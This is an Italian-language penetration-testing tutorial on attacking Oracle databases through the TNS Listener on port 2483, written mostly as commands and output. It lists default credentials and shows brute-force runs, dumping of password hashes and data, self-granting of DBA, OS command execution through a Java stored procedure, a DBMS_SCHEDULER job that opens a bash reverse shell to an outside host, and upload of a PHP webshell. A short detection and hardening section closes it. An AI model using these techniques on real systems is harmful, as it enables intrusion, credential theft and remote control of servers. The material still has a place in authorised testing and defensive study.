Porta 2483 Oracle DB: TNS Listener, SID e Pentest

Porta 2483 Oracle DB nel pentest: TNS Listener, SID e service name enumeration, brute force credenziali, escalation DBA e tecniche di accesso al sistema
- Pubblicato il 2026-04-13
- Tempo di lettura: 5 min
Executive Summary — Oracle Database è il RDBMS enterprise più diffuso in contesti corporate e governativi. La porta 2483 è la porta TCP standard per le connessioni client al TNS Listener (la porta tradizionale 1521 è ancora più comune, ma 2483 è il nuovo standard IANA per Oracle). Il TNS Listener è il gateway: gestisce le connessioni dei client e le instrada verso la giusta istanza del database. Nel pentest, Oracle è un target di alto valore: contiene dati critici, spesso ha credenziali di default attive, e se raggiungi il ruolo DBA puoi eseguire comandi sul sistema operativo. La porta 2484 è la variante SSL/TLS.
Cos’è odat.py (Oracle pentest tool)
odat.pyè il tool principale per il pentest Oracle — enumera SID, brute force ed escalation- Primo step: enumerare SID/service name — senza questo non puoi connetterti al database
- Testa sempre le credenziali di default (
scott/tiger,system/manager,sys/change_on_install)
Cos’è il TNS Listener e Come Funziona #
Oracle non accetta connessioni dirette al database. Il TNS Listener (Transparent Network Substrate) è il processo che ascolta sulla porta e instrada le connessioni:
Client Oracle Server Oracle
┌──────────────┐ ┌──────────────────────────┐
│ sqlplus │ │ TNS Listener (:2483) │
│ connect │ ── TNS connect ──►│ ├── SID: ORCL │
│ string │ │ ├── SID: PROD │
│ │ ◄── redirect ──── │ └── SID: DEV │
│ │ ── data ──────────►│ └── Oracle Instance │
└──────────────┘ └──────────────────────────┘Per connettersi serve un connect string che include: host, porta e SID (System Identifier) o Service Name. Senza il SID, non puoi raggiungere il database — per questo l’enumerazione del SID è il primo step.
Porte Oracle #
| Porta | Funzione |
|---|---|
| 1521 | TNS Listener (porta tradizionale, ancora la più comune) |
| 2483 | TNS Listener (porta IANA standard, adozione crescente) |
| 2484 | TNS Listener SSL/TLS |
| 1158 | Oracle Enterprise Manager (HTTP) |
| 5500 | Oracle Enterprise Manager Express (HTTPS) |
Tutte le tecniche di questo articolo funzionano sia sulla 1521 che sulla 2483 — cambia solo il numero di porta nei comandi.
1. Enumerazione #
Nmap #
nmap -sV -p 2483 --script=oracle-tns-version,oracle-sid-brute,oracle-enum-users 10.10.10.40PORT STATE SERVICE VERSION
2483/tcp open oracle-tns Oracle TNS listener 19.0.0.0.0
| oracle-tns-version:
| VERSION: 19.0.0.0.0
| VSNNUM: 318767104
| oracle-sid-brute:
| ORCL
| XE
|_ PRODEnumerazione SID con odat #
odat.py (Oracle Database Attacking Tool) è il framework principale per il pentest Oracle.
odat sidguesser -s 10.10.10.40 -p 2483[+] SIDs found on 10.10.10.40:2483:
ORCL
XE
PROD
LISTENEREnumerazione SID con tnscmd #
tnscmd10g version -h 10.10.10.40 -p 2483TNS Listener version: 19.0.0.0.0tnscmd10g status -h 10.10.10.40 -p 2483Il comando status può rivelare: versione, SID attivi, hostname, OS, tempo di avvio.
Enumerazione SID con Metasploit #
msf6 > use auxiliary/scanner/oracle/sid_enum
msf6 > set RHOSTS 10.10.10.40
msf6 > set RPORT 2483
msf6 > runSID comuni da testare #
ORCL, XE, PROD, DEV, TEST, STAGE, UAT, DB01, FINANCE, HR, ERP, SAP2. Credential Attack #
Default Credentials #
Oracle ha decine di account default. Molti non vengono mai disabilitati:
| Username | Password | Ruolo |
|---|---|---|
sys | change_on_install | SYSDBA |
system | manager | DBA |
scott | tiger | User |
dbsnmp | dbsnmp | Monitoring |
mdsys | mdsys | Spatial |
ctxsys | ctxsys | Text |
outln | outln | Schema |
hr | hr | Sample |
Test con sqlplus #
sqlplus sys/change_on_install@10.10.10.40:2483/ORCL as sysdbaConnected to:
Oracle Database 19c Enterprise Edition
SQL>Se funziona → accesso SYSDBA → game over. SYSDBA è il massimo privilegio in Oracle.
sqlplus system/manager@10.10.10.40:2483/ORCLsqlplus scott/tiger@10.10.10.40:2483/ORCLBrute force con odat #
odat passwordguesser -s 10.10.10.40 -p 2483 -d ORCL \
--accounts-file /usr/share/odat/accounts/accounts.txt[+] Valid credentials found:
scott/tiger on ORCL
dbsnmp/dbsnmp on ORCLBrute force con Hydra #
hydra -L users.txt -P passwords.txt 10.10.10.40 oracle-listener -s 2483Brute force con Metasploit #
msf6 > use auxiliary/scanner/oracle/oracle_login
msf6 > set RHOSTS 10.10.10.40
msf6 > set RPORT 2483
msf6 > set SID ORCL
msf6 > run3. Post-Authentication — Enumerazione Database #
Informazioni di base #
-- Versione
SELECT * FROM v$version;
-- Database name
SELECT ora_database_name FROM dual;
-- Hostname
SELECT host_name FROM v$instance;
-- Utente corrente
SELECT user FROM dual;
-- Ruoli
SELECT * FROM session_roles;
-- Privilegi
SELECT * FROM session_privs;Utenti e hash #
-- Lista utenti
SELECT username, account_status FROM dba_users;
-- Hash password (Oracle 11g+)
SELECT name, spare4 FROM sys.user$;NAME SPARE4
------ ------
SYS S:ABC123DEF456...
SYSTEM S:789ABC123DEF...
SCOTT S:DEF789ABC123...Gli hash Oracle sono crackabili con hashcat (mode 112 per Oracle 11g, mode 12300 per Oracle 12c+).
Tabelle e dati #
-- Lista tabelle del proprietario corrente
SELECT table_name FROM user_tables;
-- Lista tutte le tabelle (se DBA)
SELECT owner, table_name FROM all_tables WHERE owner NOT IN ('SYS','SYSTEM','MDSYS');
-- Dump dati
SELECT * FROM HR.EMPLOYEES;
SELECT * FROM FINANCE.CREDIT_CARDS;4. Privilege Escalation — Da User a DBA #
Verifica ruolo corrente #
SELECT * FROM session_roles;Se non hai DBA, devi escalare.
odat — Privilege Escalation automatizzata #
odat privesc -s 10.10.10.40 -p 2483 -d ORCL -U scott -P tiger --sysdbaodat tenta automaticamente diversi metodi di escalation.
Escalation via EXECUTE ANY PROCEDURE #
Se hai il privilegio EXECUTE ANY PROCEDURE:
-- Esegui procedure di sistema per ottenere DBA
BEGIN
DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM, 'DEFAULT');
END;
/
-- Grant DBA a te stesso (se hai i permessi necessari)
EXEC DBMS_SQL.PARSE(DBMS_SQL.OPEN_CURSOR, 'GRANT DBA TO SCOTT', DBMS_SQL.NATIVE);Escalation via CREATE ANY PROCEDURE #
CREATE OR REPLACE PROCEDURE SYS.GRANT_DBA
IS
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
/
EXEC SYS.GRANT_DBA;5. Remote Code Execution — Da Oracle al Sistema Operativo #
Java Stored Procedure (metodo più affidabile) #
Se Java è installato nel database (comune nelle installazioni Enterprise):
-- Crea la procedura Java per OS command execution
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
public static String run(String command) {
try {
Process p = Runtime.getRuntime().exec(command);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) sb.append(line).append("\n");
return sb.toString();
} catch (Exception e) { return e.getMessage(); }
}
};
/
-- Wrapper PL/SQL
CREATE OR REPLACE FUNCTION os_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'cmd.run(java.lang.String) return java.lang.String';
/
-- Grant necessari (se SYSDBA)
BEGIN
DBMS_JAVA.GRANT_PERMISSION('SCOTT', 'java.io.FilePermission', '<<ALL FILES>>', 'execute');
DBMS_JAVA.GRANT_PERMISSION('SCOTT', 'java.lang.RuntimePermission', '*', 'writeFileDescriptor');
END;
/
-- Esegui comandi OS
SELECT os_cmd('id') FROM dual;oracle
uid=1001(oracle) gid=1001(oinstall) groups=1001(oinstall),1002(dba)RCE come utente oracle. Per il privilege escalation Linux.
DBMS_SCHEDULER (Oracle 10g+) #
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'OS_CMD',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 2,
enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('OS_CMD', 1, '-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('OS_CMD', 2, 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1');
DBMS_SCHEDULER.ENABLE('OS_CMD');
END;
/Reverse shell come utente oracle.
Lettura/Scrittura file #
-- Leggere file dal filesystem
CREATE DIRECTORY HACK_DIR AS '/etc';
SELECT * FROM EXTERNAL(
(line VARCHAR2(4000))
TYPE ORACLE_LOADER
DEFAULT DIRECTORY HACK_DIR
ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS (line VARCHAR2(4000)))
LOCATION ('passwd')
) t;odat — RCE automatizzato #
# Upload ed esecuzione file
odat externaltable -s 10.10.10.40 -p 2483 -d ORCL -U sys -P change_on_install \
--sysdba --exec /bin/bash "-c 'id'"# Upload webshell (se il server web gira sullo stesso host)
odat utlfile -s 10.10.10.40 -p 2483 -d ORCL -U sys -P change_on_install \
--sysdba --putFile /var/www/html cmd.php "<?php system(\$_GET['c']); ?>"6. odat — Panoramica Completa dei Moduli #
| Modulo | Funzione |
|---|---|
sidguesser | Brute force SID |
passwordguesser | Brute force credenziali |
tnspoison | TNS Poisoning (MiTM) |
privesc | Privilege escalation automatizzata |
externaltable | OS command execution |
utlfile | File read/write via UTL_FILE |
dbmsscheduler | OS command via DBMS_SCHEDULER |
java | OS command via Java |
ctxsys | RCE via Oracle Text (CTXSYS) |
stealremotepwds | Cattura hash in transito |
search | Cerca pattern nei dati |
7. Detection & Hardening #
Blue Team #
- Monitor login falliti e brute force (alert_log.ora)
- Audit comandi DDL e DML privilegiati
- Alert su creazione Java stored procedure
- Monitor DBMS_SCHEDULER job creation
- Verifica account default disabilitatiHardening #
- Disabilita/blocca tutti gli account default —
ALTER USER scott ACCOUNT LOCK - Password complesse per sys, system e tutti gli account attivi
- Listener con password —
ADMIN_RESTRICTIONS_LISTENER = ONin listener.ora - Oracle Net allowed list — limita IP che possono connettersi
- Rimuovi Java dal database se non necessario
- Audit Oracle abilitato per DDL, login e comandi privilegiati
- Usa la porta 2484 SSL per cifrare il traffico
- Patch regolari — Oracle Critical Patch Update ogni trimestre
8. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 2483 --script=oracle-* target |
| SID enum | odat sidguesser -s target -p 2483 |
| Default creds | sqlplus sys/change_on_install@target:2483/SID as sysdba |
| Brute force | odat passwordguesser -s target -p 2483 -d SID |
| Versione | SELECT * FROM v\$version; |
| Lista utenti | SELECT username FROM dba_users; |
| Hash password | SELECT name, spare4 FROM sys.user\$; |
| OS command (Java) | SELECT os_cmd('id') FROM dual; |
| OS command (Scheduler) | DBMS_SCHEDULER.CREATE_JOB(job_type=>'EXECUTABLE') |
| File read | odat utlfile ... --getFile /etc passwd |
| File write | odat utlfile ... --putFile /var/www/html shell.php "<?php...?>" |
| Privesc | odat privesc -s target -p 2483 -d SID --sysdba |
Riferimento: ODAT documentation, Oracle Security Guide, HackTricks Oracle. Uso esclusivo in ambienti autorizzati. https://hackviser.com/tactics/pentesting/services/oracle







